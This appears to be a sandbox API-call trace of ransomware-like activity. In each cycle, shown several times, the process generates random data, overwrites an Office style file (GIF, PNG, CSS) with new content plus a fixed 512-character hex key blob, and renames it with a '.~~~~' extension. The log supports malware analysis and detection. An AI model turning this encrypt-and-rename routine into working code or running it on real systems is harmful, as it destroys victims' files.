	[0133.052] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif.~~~~")) returned 1
	[0133.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0133.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.055] GetLastError () returned 0x0
	[0133.055] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908070) returned 1
	[0133.056] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0133.056] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0133.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.056] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25304663611) returned 1
	[0133.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8bf8fd0, dwHighDateTime=0x1d60e1e)) 
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809bf8
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0133.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809bf8 | out: hHeap=0x300000) returned 1
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.057] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.058] GetLastError () returned 0x0
	[0133.058] GetLastError () returned 0x0
	[0133.058] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.058] GetLastError () returned 0x0
	[0133.058] GetLastError () returned 0x0
	[0133.059] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.060] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x155, lpOverlapped=0x0) returned 1
	[0133.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.062] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.062] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.062] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.062] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.063] CloseHandle (hObject=0xc4) returned 1
	[0133.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0d10
	[0133.063] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif.~~~~")) returned 1
	[0133.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0d10 | out: hHeap=0x300000) returned 1
	[0133.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.065] GetLastError () returned 0x0
	[0133.065] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908070) returned 1
	[0133.066] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0133.066] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.067] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25305687941) returned 1
	[0133.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8c1f130, dwHighDateTime=0x1d60e1e)) 
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809bc0
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0133.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809bc0 | out: hHeap=0x300000) returned 1
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0133.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.068] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.068] GetLastError () returned 0x0
	[0133.068] GetLastError () returned 0x0
	[0133.068] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.068] GetLastError () returned 0x0
	[0133.068] GetLastError () returned 0x0
	[0133.070] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.070] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xde, lpOverlapped=0x0) returned 1
	[0133.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.072] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.072] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.073] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.073] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.073] CloseHandle (hObject=0xc4) returned 1
	[0133.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0c38
	[0133.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif.~~~~")) returned 1
	[0133.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0c38 | out: hHeap=0x300000) returned 1
	[0133.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.077] GetLastError () returned 0x0
	[0133.079] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908070) returned 1
	[0133.079] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0133.079] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.080] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25306973429) returned 1
	[0133.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8c45290, dwHighDateTime=0x1d60e1e)) 
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809b50
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0133.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809b50 | out: hHeap=0x300000) returned 1
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.080] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.080] GetLastError () returned 0x0
	[0133.081] GetLastError () returned 0x0
	[0133.081] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.081] GetLastError () returned 0x0
	[0133.081] GetLastError () returned 0x0
	[0133.083] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff13c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.083] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xec4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xec4, lpOverlapped=0x0) returned 1
	[0133.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.085] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.086] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.086] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.086] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.086] CloseHandle (hObject=0xc4) returned 1
	[0133.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802820
	[0133.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css.~~~~")) returned 1
	[0133.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802820 | out: hHeap=0x300000) returned 1
	[0133.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.088] GetLastError () returned 0x0
	[0133.090] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908070) returned 1
	[0133.091] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0133.091] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0133.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.091] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25308116117) returned 1
	[0133.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8c45290, dwHighDateTime=0x1d60e1e)) 
	[0133.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a2c0
	[0133.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0133.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a2c0 | out: hHeap=0x300000) returned 1
	[0133.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0133.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.092] GetLastError () returned 0x0
	[0133.093] GetLastError () returned 0x0
	[0133.093] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.093] GetLastError () returned 0x0
	[0133.093] GetLastError () returned 0x0
	[0133.094] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.094] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xe5, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xe5, lpOverlapped=0x0) returned 1
	[0133.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.097] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.097] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.097] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.097] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.098] CloseHandle (hObject=0xc4) returned 1
	[0133.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0218
	[0133.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png.~~~~")) returned 1
	[0133.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0218 | out: hHeap=0x300000) returned 1
	[0133.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.100] GetLastError () returned 0x0
	[0133.101] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908070) returned 1
	[0133.102] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0133.102] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0133.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.102] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25309214104) returned 1
	[0133.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8c6b3f0, dwHighDateTime=0x1d60e1e)) 
	[0133.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a288
	[0133.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0133.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a288 | out: hHeap=0x300000) returned 1
	[0133.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0133.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.103] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.103] GetLastError () returned 0x0
	[0133.103] GetLastError () returned 0x0
	[0133.103] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.103] GetLastError () returned 0x0
	[0133.104] GetLastError () returned 0x0
	[0133.217] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff6cf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.217] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x931, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x931, lpOverlapped=0x0) returned 1
	[0133.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.219] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.219] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
